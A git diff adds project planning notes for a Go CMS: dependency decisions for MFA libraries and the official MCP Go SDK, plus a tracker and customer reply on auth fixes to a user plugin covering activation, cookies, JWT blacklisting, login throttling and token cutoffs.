- **Package legitimacy.** The MSD package-legitimacy seam rejects the Go ecosystem, so the six modules were checked by hand against proxy.golang.org (`@latest`, `.mod`, `@v/list`) and the `charm.land` go-import meta tags, whose origins are `github.com/charmbracelet/*`. Verdict: approved. fang is young (two v2 tags, repository first tagged 2025-06-18), which is acceptable because it is used only for the error hook.
|
||||
- **Install order.** Plan 19.8-01 installs `charm.land/lipgloss/v2` and `github.com/charmbracelet/colorprofile` with the code that imports them (the palette and the diary console handler); plan 19.8-02 installs bubbletea, bubbles, huh and fang with the widgets. `go mod tidy` drops requirements that no package imports, so each plan adds only what it uses.
|
||||
|
||||
**Rejected alternatives.** SSU's v1 pins were rejected for the two-majors problem above. `charm.land/log/v2` was rejected for the slogtest failures and the duplicated level model. lumberjack was rejected because it rotates by size and names files differently. A hand-written fan-out handler (SSU's `MultiHandler`) was rejected in favour of `slog.NewMultiHandler`, which clones records, honours `Enabled` and joins errors.
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- **Standard library only for logging:** `log/slog` (`NewMultiHandler`, `JSONHandler`, `TextHandler`, `DiscardHandler`, `LevelVar`), `testing/slogtest` for handler conformance tests, `os` and `path/filepath` for the daily writer.
|
||||
- **gorm.io/gorm** v1.31.2 (already required) for `logger.NewSlogLogger`.
|
||||
- **github.com/spf13/cobra** v1.10.2 (already required) stays the command parser under bonfire.
|
||||
|
||||
## Consequences
|
||||
|
||||
- Every application binary grows by about 2.1 MB once plan 19.8-02 lands the widgets.
|
||||
- Removing the stack later means rewriting bonfire's widgets and diary's console handler; D-01 and D-02 are rated costly for that reason.
|
||||
- Plugins never import charm modules directly, so a later change of styling library touches only `modules/bonfire` and `modules/diary`.
|
||||
- A check in the plan's acceptance criteria (`go list` over every package's imports) keeps the import boundary honest.
|
||||
46
.planning/notes/2026-10-21-mfa-otp-webauthn.md
Normal file
46
.planning/notes/2026-10-21-mfa-otp-webauthn.md
Normal file
@@ -0,0 +1,46 @@
|
||||
# Decision: second factors use pquerna/otp, go-webauthn and boombuler/barcode, in sm-mfa-plugin only
|
||||
|
||||
**Date:** 2026-10-21
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.6 (two-factor auth and device flow, D-01, D-04, D-06, D-08, D-14), 19.6-RESEARCH.md Q1, Q2, Q3 and Package Legitimacy Audit
|
||||
|
||||
## Decision
|
||||
|
||||
The second factors (TOTP, WebAuthn, email codes, recovery codes, trusted devices) live in the new shared plugin `sm-mfa-plugin`, which requires `sm-user-plugin` (D-01). Three third-party modules carry the protocol work; everything else is the standard library and the framework.
|
||||
|
||||
- **`github.com/pquerna/otp` pinned at v1.5.0.** Published 2024-12-31, Apache-2.0. Packages `totp` and `hotp` only. Issuer is the application name, the account is the user's email, the validation window is plus or minus one step, SHA1, 6 digits, 30 s period (the Google Authenticator defaults PHP used). Replay protection is done per counter with `hotp` (RESEARCH Pitfall 5).
|
||||
- **`github.com/go-webauthn/webauthn` pinned at v0.18.2.** Published 2026-09-19, BSD-3-Clause. Packages `webauthn` and `protocol` only. Attestation `none`, timeout 60 s, user verification `preferred` for second-factor use and `required` for passkeys (D-14). Ceremony state stays server-side.
|
||||
- **`github.com/boombuler/barcode` pinned at v1.1.0 (package `qr` only) for the TOTP QR code.** MIT. It is already a requirement of pquerna/otp (for `Key.Image()`), so it adds no module and no maintainer. sm-mfa-plugin writes the SVG itself (a small serializer emitting one `<path>` for the dark modules, `width="200" height="200"` with a `viewBox`, as PHP's Bacon `RendererStyle(200)` did), so PHP's TOTP setup contract `{secret, qr_code_svg, qr_code_url}` stays. The round trip was proven during research: a TOTP URL encoded at level M was read back byte for byte by an independent decoder (RESEARCH Q2, Assumption A1).
|
||||
- **Slow hash for recovery and email codes: bcrypt** through `bouncer.HashPassword` / `bouncer.CheckPassword` at `golem15.user.password.bcrypt_cost`, exactly as the user plugin hashes passwords (D-06). No argon2: it would add `golang.org/x/crypto/argon2` usage the framework does not have. Ten compares at cost 10 measured 631 ms (RESEARCH Q3).
|
||||
|
||||
## Measurements (RESEARCH Q1)
|
||||
|
||||
- **Binary size: +2,269,184 bytes (+2.16 MiB)** on a stripped build of the demo application (`-trimpath -ldflags="-s -w"`): 51,802,375 to 54,071,559 bytes, with TOTP generate and validate, QR encode, and the WebAuthn registration, login and passkey-login paths driven by a probe.
|
||||
- **Nine newly linked modules** (`go version -m` diff): `github.com/boombuler/barcode` v1.1.0, `github.com/fxamacker/cbor/v2` v2.9.4, `github.com/go-webauthn/webauthn` v0.18.2, `github.com/go-webauthn/x` v0.3.1, `github.com/google/go-tpm` v0.9.8, `github.com/philhofer/fwd` v1.2.0, `github.com/pquerna/otp` v1.5.0, `github.com/tinylib/msgp` v1.6.4, `github.com/x448/float16` v0.8.4.
|
||||
- **One version bump in consuming graphs:** minimal version selection moves `github.com/go-viper/mapstructure/v2` from v2.4.0 to v2.5.0 in the module graph of applications that mount the plugin. `golang-jwt/jwt/v5` v5.3.1, `google/uuid` v1.6.0 and `golang.org/x/crypto` v0.57.0 are already at go-webauthn's versions.
|
||||
- **Vulnerabilities:** `govulncheck` v1.9.0 reports no reachable vulnerability. The only module-level advisory, GO-2026-5932 (`golang.org/x/crypto/openpgp`, unmaintained), sits in a package nothing imports.
|
||||
- go-webauthn's go.mod lists the archived YAML v3 module as an indirect, test-only requirement outside the import graph. Plugin code never imports it (CLAUDE.md: `goccy/go-yaml` only).
|
||||
|
||||
## Deviation from PHP recorded here (D-08)
|
||||
|
||||
WebAuthn requests and responses use go-webauthn's standard base64url shapes (`PublicKeyCredentialCreationOptions`, `PublicKeyCredentialRequestOptions` and the attestation and assertion JSON that `navigator.credentials` and `@simplewebauthn/browser` produce), not PHP's lbuchs plain-base64 layout. The paths and outer keys stay PHP's. This is acceptable because no client implements the PHP layout yet. PHP stored PEM public keys while go-webauthn verifies COSE keys, so the Phase 30 Winter import must convert or drop WebAuthn rows.
|
||||
|
||||
## Rejected alternatives
|
||||
|
||||
- **`github.com/piglig/go-qr` v1.1.0** (native `ToSVGBytes`). 67 stars, one maintainer, and a new module for what boombuler already provides through pquerna/otp's graph.
|
||||
- **argon2id for codes.** Not what the user plugin uses for passwords; D-06 asks to match it.
|
||||
- **A hand-written TOTP or WebAuthn implementation.** Protocol and security code goes to a maintained library with a decision note (project preference).
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- `golang.org/x/crypto`, `github.com/golang-jwt/jwt/v5` and `github.com/google/uuid` are already in the framework and application graphs at the versions go-webauthn needs.
|
||||
|
||||
## Package legitimacy
|
||||
|
||||
The package-legitimacy seam cannot check Go modules (as in 19.4 and 19.5), so all three are [ASSUMED] for legitimacy and gated by a blocking human check (plan 19.6-01 Task 5) before any `go get`. Signals gathered by hand: pquerna/otp v1.5.0 on proxy.golang.org (2,963 stars, Apache-2.0); go-webauthn/webauthn v0.18.2 (1,351 stars, BSD-3-Clause, pushed 2026-10-20); boombuler/barcode v1.1.0 (published 2025-07-22, 1,563 stars, MIT).
|
||||
|
||||
## Consequences
|
||||
|
||||
- Only `sm-mfa-plugin`'s go.mod requires the three modules. `sm-user-plugin`, the framework and fonoteka.go require none, and applications without the plugin link none of the nine modules (D-01).
|
||||
- go-webauthn is pre-1.0 and the research is valid until 2026-11-20. After that date the executor re-checks the pin with `go list -m -json github.com/go-webauthn/webauthn@latest` before installing.
|
||||
- Installation, only after the human check: `go get github.com/pquerna/otp@v1.5.0 github.com/go-webauthn/webauthn@v0.18.2 github.com/boombuler/barcode@v1.1.0` inside `sm-mfa-plugin`, then `go mod tidy`.
|
||||
107
.planning/notes/2026-10-22-external-user-plugin-escalations.md
Normal file
107
.planning/notes/2026-10-22-external-user-plugin-escalations.md
Normal file
@@ -0,0 +1,107 @@
|
||||
---
|
||||
title: External user-plugin escalations
|
||||
date: 2026-10-22
|
||||
context: /msd-explore of an external app's "escalate to summercms devs" list. Six /msd-quick tasks; send this reply when they are all done.
|
||||
g15office: bhoyg8z4
|
||||
---
|
||||
|
||||
# External user-plugin escalations
|
||||
|
||||
Reviewed 2026-10-22. The list is `golem15.user` (sm-user-plugin), not cabana admin auth. Phase 19.6 (2FA) is not mid-flight.
|
||||
|
||||
**Released (2026-10-23):** sm-user-plugin **v0.1.9** carries all six quicks and still requires SummerCMS v0.4.3, so the external app needs no framework upgrade for these fixes. The earlier hold for a v0.5.0 wave is withdrawn: v0.5.0 is reserved for the finished MCP phase (19.7), and the framework's own next patch is v0.4.4, which is not needed for anything below. The reply is ready to send.
|
||||
|
||||
**Do not run the six quicks in parallel on one working tree.** They share `sm-user-plugin` (`api_controller.go`, `plugin.go`, `routes.go`, README). Sequential fresh sessions.
|
||||
|
||||
## Tracker
|
||||
|
||||
| # | Their label | Verdict | Quick / todo | g15office | Status | Shipped |
|
||||
|---|---|---|---|---|---|---|
|
||||
| 1 | G2 login ignores `is_activated` | Fix | [261022-tb4](../quick/261022-tb4-password-login-must-refuse-is-activated-/) · [todo](../todos/done/2026-10-22-user-login-ignores-is-activated.md) | 3r4or1ex | released | `15ff979` → user v0.1.9 |
|
||||
| 2 | G3 cookie-only 401 | Fix remaining four; logout already done | [261022-tto](../quick/261022-tto-fetch-refresh-update-change-password-mus/) · [todo](../todos/done/2026-10-22-user-session-routes-ignore-cookie.md) | kkknstxl | released | `8e4b863` → user v0.1.9 |
|
||||
| 3 | G4 logout blacklist under `serve` | Fix | [261022-usi](../quick/261022-usi-user-plugin-jwt-blacklist-and-hooks-wire/) · [todo](../todos/done/2026-10-22-user-logout-blacklist-missing-under-serve.md) | ud0gficu | released | `4bf44fc` → user v0.1.9 |
|
||||
| 4 | G6 `/update` email without proof | Decline | — | — | declined | n/a |
|
||||
| 5 | G7 Users form has no role field | Decline | — | — | declined | n/a |
|
||||
| 6 | G8 API token guard ignores `tokens_valid_after` | Decline | — | — | declined | n/a |
|
||||
| 7 | Cookie option on `/login` | Feature | [261022-wah](../quick/261022-wah-opt-in-httponly-session-cookie-on-user-p/) · [todo](../todos/done/2026-10-22-user-login-opt-in-session-cookie.md) | strnsccy | released | `846087d`, `8bdf2c7` → user v0.1.9 |
|
||||
| 8 | Password-routes 404 switch | Feature | [261022-x7a](../quick/261022-x7a-user-plugin-golem15-user-password-public/) · [todo](../todos/done/2026-10-22-user-password-routes-404-switch.md) | h7yrafgd | released | `3828a65` → user v0.1.9 |
|
||||
| 9 | Lockout keyed on `RemoteAddr` | Fix | [261022-vfz](../quick/261022-vfz-user-plugin-login-throttle-via-surf-clie/) · [todo](../todos/done/2026-10-22-user-login-lockout-and-same-second-cutoff.md) | sniewiif | released | `b6f8055` → user v0.1.9 |
|
||||
| 10 | Same-second token refusal | Fix | [261022-vfz](../quick/261022-vfz-user-plugin-login-throttle-via-surf-clie/) · [todo](../todos/done/2026-10-22-user-login-lockout-and-same-second-cutoff.md) | sniewiif | released | `a484d0e` → user v0.1.9 |
|
||||
|
||||
Status values: `open` · `done` · `declined`. Shipped: plugin commit → sm-user-plugin tag.
|
||||
|
||||
## Six invocations (fresh session each, sequential)
|
||||
|
||||
```
|
||||
/msd-quick --validate Password /login must refuse is_activated=false when golem15.user.activation.require_activation is true (default), same opaque invalid-login body as a bad password. Do not change deleted_at restore-on-login. See .planning/todos/pending/2026-10-22-user-login-ignores-is-activated.md and .planning/notes/2026-10-22-external-user-plugin-escalations.md
|
||||
|
||||
/msd-quick --validate /fetch /refresh /update /change-password must accept the token/auth_token cookies the same way jwt.auth and EndSession already do. Logout is already fixed. See .planning/todos/pending/2026-10-22-user-session-routes-ignore-cookie.md and .planning/notes/2026-10-22-external-user-plugin-escalations.md
|
||||
|
||||
/msd-quick --discuss --validate Under serve, user-plugin Boot runs before lagoon.Publish so the jwt blacklist is never wired and logout does not revoke. Wire BlacklistStore and RegisterHooks through lagoon.OnDatabase; test Activate-then-Publish. When re-registering the jwt guard, pass classes.SessionCookieNames() instead of the hardcoded token/auth_token names (G3 leftover). See .planning/todos/pending/2026-10-22-user-logout-blacklist-missing-under-serve.md and .planning/notes/2026-10-22-external-user-plugin-escalations.md
|
||||
|
||||
/msd-quick --validate User-plugin /login throttle must use surf.ClientIP (trusted proxies), not RemoteAddr. Leave exported RemoteIP as the RemoteAddr helper. Remaining tokens_valid_after writers (reset-password, admin password set) must Truncate(time.Second) like RevokeUserAccess; leave change-password and bouncer's comparison alone. See .planning/todos/pending/2026-10-22-user-login-lockout-and-same-second-cutoff.md and .planning/notes/2026-10-22-external-user-plugin-escalations.md
|
||||
|
||||
/msd-quick --discuss --validate Opt-in HttpOnly session cookie on user-plugin POST /login: golem15.user.jwt.token_cookie (default off), attributes from auth.cookie via bouncer.LoadCookieConfig, omit body token when the cookie is set (sociallogin writeSession). Cookie-carried POST /refresh must rotate that cookie (G3 left body-only); bearer-only refresh stays body-only. SameSite=Lax, no CSRF. Base a484d0e. See .planning/todos/pending/2026-10-22-user-login-opt-in-session-cookie.md and .planning/notes/2026-10-22-external-user-plugin-escalations.md
|
||||
|
||||
/msd-quick --validate User-plugin golem15.user.password.public_routes (default true). When false, do not register POST /login /forgot-password /reset-password so they 404 like unknown paths. Leave /register and the rest. No framework wrap, no custom 404. Base 8bdf2c7. See .planning/todos/pending/2026-10-22-user-password-routes-404-switch.md and .planning/notes/2026-10-22-external-user-plugin-escalations.md
|
||||
```
|
||||
|
||||
Suggested order if you care about risk: G4 (serve blacklist), then G3, G2, 9+10, then the two features. All six are done locally; item 8 (password-routes 404) was the last. Do not overlap on the same plugin files. Released in sm-user-plugin v0.1.9.
|
||||
|
||||
## Verdicts (kept for the sessions)
|
||||
|
||||
- **G2.** `require_activation` is documented and `/register` honors it; `/login` does not. Deactivation (`deleted_at`) stays reversible.
|
||||
- **G3.** Done locally (`8e4b863`). Cookie extractors are `classes.SessionToken` / `SessionCookieNames`. Item 7 (`846087d`) made a `/refresh` carried by the `auth.cookie` cookie rewrite it; bearer- and `auth_token`-carried refreshes stay body-only. CSRF was not added (SameSite=Lax + current-password on change-password).
|
||||
- **G4.** Done locally (`4bf44fc`). Lazy `appBlacklist` + `lagoon.OnDatabase` for hooks, Postgres store and sweep. Guard uses `SessionCookieNames()`.
|
||||
- **G6.** D-27: email change clears `email_verified_at` and does not write a new proof. A confirm-the-new-inbox flow would be a later feature.
|
||||
- **G7.** Stock form omission was a 12.1 decision. Stale `organisation_role` is already cleared (`ClearOnChange`, v0.1.8). Apps extend the form.
|
||||
- **G8.** Personal tokens die via `revoked_at`. `RevokeUserAccess` already sets that on deactivate/ban. Do not teach the API-token guard a JWT cutoff. Password reset killing API tokens would be a separate, explicit revoke.
|
||||
- **7.** Done locally (`846087d`, `8bdf2c7`). `846087d`: a `/refresh` carried by the `auth.cookie` cookie (`token` by default, no bearer) rewrites it and answers `{}`, whatever `token_cookie` says; bearer and other-cookie refreshes stay body-only; refusals write no cookie. `8bdf2c7`: `golem15.user.jwt.token_cookie` (default off) makes /login, /register (auto sign-in) and /activate-by-code set the HttpOnly `auth.cookie` cookie via `bouncer.LoadCookieConfig` and omit body `token`; off keeps today's bodies. SameSite=Lax, no CSRF; API tokens untouched.
|
||||
- **8.** Done locally (`3828a65`). Plugin config; no framework wrap. `golem15.user.password.public_routes` (default true); false leaves `POST /login`, `/forgot-password` and `/reset-password` unregistered, so they get the router's own 404 like any unknown path (a `GET` too, no 405); no custom handler, no `pact`/`surf` change. `/register` stays (`allow_registration` gates it, `golem15.user.turnstile` still guards it), and so do `/activate*`, `/fetch`, `/refresh`, `/logout`, `/change-password` and `/tokens`. Read when the routes are built (a restart applies it); a value other than true or false fails boot.
|
||||
- **9.** Done locally (`b6f8055`). /login keys the throttle on surf.ClientIP with http.trusted_proxies (the /register expression); RemoteIP stays the RemoteAddr helper; without trusted proxies X-Forwarded-For is ignored.
|
||||
- **10.** Done locally (`a484d0e`). /reset-password and the admin password set truncate the cutoff to whole seconds like RevokeUserAccess; change-password and bouncer unchanged.
|
||||
|
||||
## Reply to send
|
||||
|
||||
Ready to send as-is (all items filled, released in sm-user-plugin v0.1.9).
|
||||
|
||||
```
|
||||
Thanks for the escalation list. We reviewed the current golem15.user plugin (and the framework boot order). Here is what we shipped, what is already true, and what we are not changing. The fixes and the two new options are in sm-user-plugin v0.1.9, which still requires SummerCMS v0.4.3: bump the plugin, no framework upgrade is needed.
|
||||
|
||||
G2 — login ignores is_activated
|
||||
Agreed. require_activation defaults to true and /register already withholds a token in admin mode; /login did not check is_activated. That is not the same as deactivation (deleted_at), which stays self-service: a later password login still restores the account.
|
||||
Ships in sm-user-plugin v0.1.9 (15ff979): with require_activation on (the default), /login answers an account that is not activated with the same opaque invalid-login response as a bad password (counted as a failed attempt); deactivation stays self-service. /activate still serves a not-activated session so the mailed-code flow works.
|
||||
|
||||
G3 — some routes ignore the cookie
|
||||
Partly already fixed, rest agreed. POST /logout already accepts the token/auth_token cookies (and blacklists every JWT the request carries). GET /fetch, POST /refresh, POST /update and POST /change-password still required the Authorization header.
|
||||
Ships in sm-user-plugin v0.1.9 (8e4b863): GET /fetch, POST /refresh, POST /update and POST /change-password (and the other signed-in routes: /activate, /marketing-consent, /avatar, /avatar/remove) read the session token like jwt.auth: the Authorization header first, then the token and auth_token cookies. A /refresh carried by the session cookie named in auth.cookie (token by default) rewrites that cookie with the rotated token and answers {} (see "Cookie on /login" below). A /refresh carried by the Authorization header, or by the auth_token cookie, returns the rotated token in the body and writes no cookie; the previous token is revoked, so store the new one yourself.
|
||||
|
||||
G4 — logout does not blacklist under serve
|
||||
Agreed. Plugin Boot runs before serve publishes the database, so the in-process blacklist store was never wired in production (the jwt_blacklist table exists; nothing wrote to it). Tests hid this because they publish the DB before Boot.
|
||||
Ships in sm-user-plugin v0.1.9 (4bf44fc): the plugin installs its jwt_blacklist store, the blacklist sweep and its GORM hooks when serve publishes the database, and the jwt guard reads that store on every request. Logout under serve now writes the jti to jwt_blacklist, and the next request with that token (jwt.auth routes, /fetch, /refresh) answers 401. A regression test boots in serve order (plugins first, database second). The jwt guard also takes its cookie names from the same list as the session routes (token, auth_token).
|
||||
|
||||
G6 — /update changes email without proof
|
||||
As designed, not a bug. A new address clears email_verified_at and stays unproven until the owner completes an activation code or a reset-password. We are not adding a “confirm the new inbox before the change sticks” flow in this round. Say if you need that as a later feature.
|
||||
|
||||
G7 — stock Users form has no role field
|
||||
As designed. organisation_role is intentionally off the stock form (an app extends the form). v0.1.8 already clears organisation_role when the organisation changes (members manager and the Users form). No further stock-form change.
|
||||
|
||||
G8 — API token guard ignores tokens_valid_after
|
||||
As designed. Personal API tokens are revoked through revoked_at, not the JWT cutoff. Deactivate and ban already revoke those rows (RevokeUserAccess). A password reset is not supposed to kill API tokens; if you want that, say so and we will revoke the rows, not mix the two mechanisms.
|
||||
|
||||
Cookie on /login
|
||||
Agreed as an opt-in. Sociallogin already has token_cookie for OAuth complete; password /login now has the same kind of flag (default off, so body-token clients stay unchanged).
|
||||
Ships in sm-user-plugin v0.1.9 (846087d and 8bdf2c7): set golem15.user.jwt.token_cookie: true (default false) and POST /login, POST /register (when it signs the new account in) and POST /activate-by-code set the HttpOnly session cookie with the auth.cookie attributes (bouncer.LoadCookieConfig: name token, path /, SameSite=Lax, Secure from app.url, Max-Age the refresh window) and leave token out of the body; user (and message) stay. A POST /refresh carried by that cookie rewrites it with the rotated token and answers {}; a bearer refresh is unchanged. With the key off, /login, /register and /activate-by-code return the body token as before; the /refresh cookie rewrite applies either way, because it follows the cookie the refresh arrived with, not this key. That is a change for a client that refreshes with only the token cookie and no Authorization header: it now gets {} and a rewritten cookie instead of the token in the body. SameSite stays Lax and there is no CSRF token. Keep auth.cookie.name at token or auth_token, the cookies the session routes read.
|
||||
|
||||
Password-routes switch
|
||||
Agreed, in the user plugin, not as a framework “wrap another plugin’s routes” seam. A config key stops registering /login, /forgot-password and /reset-password so they 404.
|
||||
Ships in sm-user-plugin v0.1.9 (3828a65): set golem15.user.password.public_routes: false (default true; SUMMER_GOLEM15__USER__PASSWORD__PUBLIC_ROUTES=false in the environment) and POST /login, POST /forgot-password and POST /reset-password are not registered, so they answer the same 404 as any unknown path, whatever the method. POST /register stays (allow_registration still decides whether it takes accounts, and golem15.user.turnstile still guards it), as do /activate, /activate-by-code, /fetch, /refresh, /logout, /update, /change-password and /tokens. With the key true or unset nothing changes. The key is read when the routes are built, so a change needs a restart; a value other than true or false stops boot with an error naming the key.
|
||||
|
||||
Login lockout keyed on RemoteAddr
|
||||
Agreed. /login used RemoteAddr; /register already uses the trusted-proxy client address. Behind a reverse proxy five failures locked everyone.
|
||||
Ships in sm-user-plugin v0.1.9 (b6f8055): /login counts failed logins per account and client address, and the client address is now the one /register and the user-api rate limit use: behind a proxy listed in http.trusted_proxies, the X-Forwarded-For client; otherwise the connection address. An X-Forwarded-For header from an address not in http.trusted_proxies is ignored, so it cannot dodge or move a lockout. List your nginx/Caddy address in http.trusted_proxies; without it every visitor still counts as the proxy.
|
||||
|
||||
Same-second token refusal
|
||||
Agreed. JWT iat is whole seconds; some tokens_valid_after writers stamped sub-second time. RevokeUserAccess already truncates. Reset-password and the admin password set now do too.
|
||||
Ships in sm-user-plugin v0.1.9 (a484d0e): POST /reset-password and an administrator's password set on the Users form stamp tokens_valid_after with the current whole second, as deactivate and ban already do, so a token minted in the same second as the reset (the login right after it) is accepted and every token from an earlier second is still refused. As with deactivate and ban, a token issued earlier within that same second also stays valid, because iat has no finer resolution. /change-password and the guard's comparison are unchanged.
|
||||
```
|
||||
50
.planning/notes/2026-10-22-mcp-go-sdk.md
Normal file
50
.planning/notes/2026-10-22-mcp-go-sdk.md
Normal file
@@ -0,0 +1,50 @@
|
||||
# Decision: the MCP endpoint uses the official Go SDK behind a build tag
|
||||
|
||||
**Date:** 2026-10-22
|
||||
**Status:** Accepted
|
||||
**Context:** Phase 19.7 (generic MCP module, D-24, D-25, D-32, D-33), 19.7-RESEARCH.md § "Standard Stack", § "Package Legitimacy Audit", § "Architecture Patterns" (Pattern 8), plan 19.7-02 Task 1 (human legitimacy check, approved 2026-10-22)
|
||||
|
||||
## Decision
|
||||
|
||||
The framework module `pier` serves the MCP streamable HTTP endpoint on the official Go SDK and reflects tool schemas with the schema library the SDK itself uses.
|
||||
|
||||
- **`github.com/modelcontextprotocol/go-sdk` pinned at v1.8.0.** Published 2026-09-04, the newest tag (`@latest` resolves to v1.8.0 on proxy.golang.org, 2026-10-22). Origin `https://github.com/modelcontextprotocol/go-sdk`, commit `3f3b699b2b67e1ed033a63d6651671dab53c2d32`, sum `h1:KIvahhYqwtbeniWVPs3TcXEA7b8jEtwfBpOTAI+Urx4=`. Licence: MIT transitioning to Apache-2.0 (new code Apache-2.0, older contributions MIT until relicensed; documentation CC-BY-4.0). `go 1.25.0` in its go.mod, so no toolchain change. Packages imported: `mcp` (server, sessions, streamable transport, test client), `auth` (bearer middleware, protected resource metadata handler), `oauthex` (the RFC 9728 metadata type), `jsonrpc` (error codes).
|
||||
- **`github.com/google/jsonschema-go` pinned at v0.4.3.** Published 2026-04-17, the newest tag. Origin `https://github.com/google/jsonschema-go`, commit `8c4ab4f02ef64dcea5502e47a6113e8292944087`, sum `h1:/DBOLZTfDow7pe2GmaJNhltueGTtDKICi8V8p+DQPd0=`. Licence MIT. Package imported: `jsonschema` (`ForType` reflection of a tool's input struct, `Resolve` and `Validate` of every call's arguments).
|
||||
- **Only `modules/pier` imports either module**, plus the tagged `modules/surf/pier_on.go` that imports `pier`. `pact` stays free of both (its `TestPactStaysSDKFree` runs `go list -deps`), so a plugin declaring tools compiles with and without the module.
|
||||
- **Linked only with the `summercms_mcp` build tag (D-33).** `summer.yaml` `build.tags: [summercms_mcp]` passes it to `go build`, as `summercms_s3` does for the S3 driver. Without the tag `surf.mountPier` stays nil, `go version -m` of the binary lists no `modelcontextprotocol` module, and `mcp.enabled: true` fails boot naming the tag. With the tag the `mcp.enabled` flag still defaults to off (D-30).
|
||||
- **The SDK keeps stateful sessions only in process memory**, in `StreamableHTTPHandler.sessions`, with no pluggable store and a 404 for an unknown `Mcp-Session-Id`. D-25 (sessions shared across instances through Redis) is therefore built as pier's own session router over the exported `StreamableServerTransport{SessionID}` and `Server.Connect(ctx, t, &ServerSessionOptions{State})`: the JSON-serialisable `ServerSessionState` is stored in Redis and a session is rehydrated on whichever instance receives the next request. The SDK still owns JSON-RPC framing, SSE, protocol negotiation and `list_changed` debouncing; pier bypasses only the private session map. The 2026-07-28 protocol, which the SDK serves only through `StreamableHTTPOptions.Stateless`, gets the SDK's stateless handler next to the stateful router (D-32).
|
||||
|
||||
## Measurements
|
||||
|
||||
- **New modules in the graph** (measured with `go list -m all` on a scratch module importing `mcp`, `auth`, `oauthex` and `jsonschema`): `github.com/modelcontextprotocol/go-sdk v1.8.0`, `github.com/google/jsonschema-go v0.4.3`, `github.com/segmentio/asm v1.1.3`, `github.com/segmentio/encoding v0.5.4`, `github.com/yosida95/uritemplate/v3 v3.0.2`, `golang.org/x/oauth2 v0.35.0`, `golang.org/x/time v0.15.0`. `golang.org/x/sync` and `golang.org/x/sys` stay at the framework's newer v0.23.0 and v0.48.0 under minimal version selection. `github.com/golang-jwt/jwt/v5`, `golang.org/x/tools`, `github.com/google/go-cmp` and `cloud.google.com/go/compute/metadata` appear in the SDK's go.mod but are not linked by these packages; the framework already requires jwt/v5 and go-cmp at its own versions.
|
||||
- **Binary size: +2.9 MiB stripped** on a program importing `mcp`, `auth` and `jsonschema` next to a bare `net/http` program (8,835,335 vs 5,832,967 bytes, 19.7-RESEARCH.md). The scratch probe above with `oauthex` added builds to 7,782,663 bytes stripped. An application that already links `x/sys`, `x/oauth2` and `x/time` grows by less. The tag keeps every untagged binary at its current size.
|
||||
- **Vulnerabilities:** `govulncheck` v1.9.0 (`go run golang.org/x/vuln/cmd/govulncheck@latest ./...` over the scratch module, 2026-10-22): "No vulnerabilities found" in the code and in the imported packages. One module-level finding, GO-2026-5024 (`golang.org/x/sys/windows` `NewNTUnicodeString`, Windows only, fixed in x/sys v0.44.0), concerns the SDK's own minimum x/sys v0.41.0; the framework requires x/sys v0.48.0, above the fix, and no imported package calls the symbol. After the import lands, the same command runs as `go run golang.org/x/vuln/cmd/govulncheck@latest ./modules/pier/...` from the framework root.
|
||||
|
||||
## Maintenance risk
|
||||
|
||||
The SDK is maintained by the Model Context Protocol organisation together with the Go team, releases monthly, and tracks the specification closely (v1.8.0 supports 2026-07-28, 2025-11-25, 2025-06-18, 2025-03-26 and 2024-11-05). The risk is churn, not abandonment: the `allowsessionsinstateless` compatibility knob is announced to go in v1.9.0, and the stateful `initialize` handshake is deprecated by the 2026-07-28 specification. pier contains both: plugins compile against `pact` only, the SDK types never appear in a plugin-facing signature, and the session router is about 300 lines over four exported SDK calls (`NewServer`, `Connect`, `StreamableServerTransport.ServeHTTP`, `NewStreamableHTTPHandler`). Re-check `@latest` before bumping; research's validity note dates the SDK audit at 2026-10-21.
|
||||
|
||||
## Rejected alternatives
|
||||
|
||||
- **`github.com/mark3labs/mcp-go`.** Not considered: D-24 locks the official SDK, which is the only one that follows the specification's monthly moves and ships the test client pier's smoke tests use.
|
||||
- **The SDK's `StreamableHTTPHandler` as the whole server.** Its session map is in-memory and unexported; two instances behind one load balancer would answer 404 for each other's sessions. The own router keeps D-25 and reuses every other SDK layer.
|
||||
- **A hand-written streamable HTTP transport.** JSON-RPC batching rules per protocol version, SSE priming events, `Last-Event-ID` resumption, header validation and version negotiation are specification edge cases the SDK already handles and tests.
|
||||
- **Always linking pier.** +2.9 MiB on every application for a feature most do not enable; the tag pattern already exists (`summercms_s3`).
|
||||
|
||||
## Related dependencies
|
||||
|
||||
- **`github.com/redis/go-redis/v9` v9.23.0** (already required, 19.3 `cooler`): session records, sliding TTL and pub/sub fan-out; `github.com/alicebob/miniredis/v2` v2.40.0 (already required) backs the Docker-free session tests.
|
||||
- **`golang.org/x/oauth2`**: new to the framework's graph through the SDK's `auth` package; already approved in 19.4 for the workspace (`sm-oauthserver-plugin` tests) and in 19.5 (`goth`).
|
||||
|
||||
## Package legitimacy
|
||||
|
||||
The package-legitimacy seam checks npm, PyPI and crates only, so both modules were [ASSUMED] in research and gated by a blocking human check (plan 19.7-02 Task 1) before any `go get`. The human approved exactly `github.com/modelcontextprotocol/go-sdk@v1.8.0` and `github.com/google/jsonschema-go@v0.4.3` on 2026-10-22, with the proxy origins, commits, sums and licences listed above gathered beforehand. The transitive modules listed under Measurements are covered by the same check.
|
||||
|
||||
## Consequences
|
||||
|
||||
- The framework `go.mod` gains `github.com/modelcontextprotocol/go-sdk v1.8.0` and `github.com/google/jsonschema-go v0.4.3` as direct requirements, added in the commit after this note (D-24: the note and the STACK.md row precede the import).
|
||||
- `grep -rl modelcontextprotocol/go-sdk modules --include=*.go` must list only `modules/pier/*` and `modules/surf/pier_on.go`; the phase gate (plan 05) asserts it, together with "only `modules/pier` calls `bouncer.WithDispatch` outside tests".
|
||||
- `examples/hello` and every application built without the tag carry no MCP code; `go version -m` of such a binary is the proof.
|
||||
- Applications that enable MCP add `summercms_mcp` to `summer.yaml` `build.tags` and set `mcp.enabled: true`; the `mcp.*` keys are documented in `modules/pier/README.md` and `docs/services/mcp.md`.
|
||||
|
||||
Released in v0.4.4 (2026-10-23), opt-in behind the `summercms_mcp` build tag and `mcp.enabled`; the full MCP feature ships as v0.5.0 at phase 19.7 completion.
|
||||
51
.planning/notes/2026-10-23-frontend-token-scopes.md
Normal file
51
.planning/notes/2026-10-23-frontend-token-scopes.md
Normal file
@@ -0,0 +1,51 @@
|
||||
# Decision: member token scopes use a separate pact capability
|
||||
|
||||
**Date:** 2026-10-23
|
||||
**Status:** Accepted
|
||||
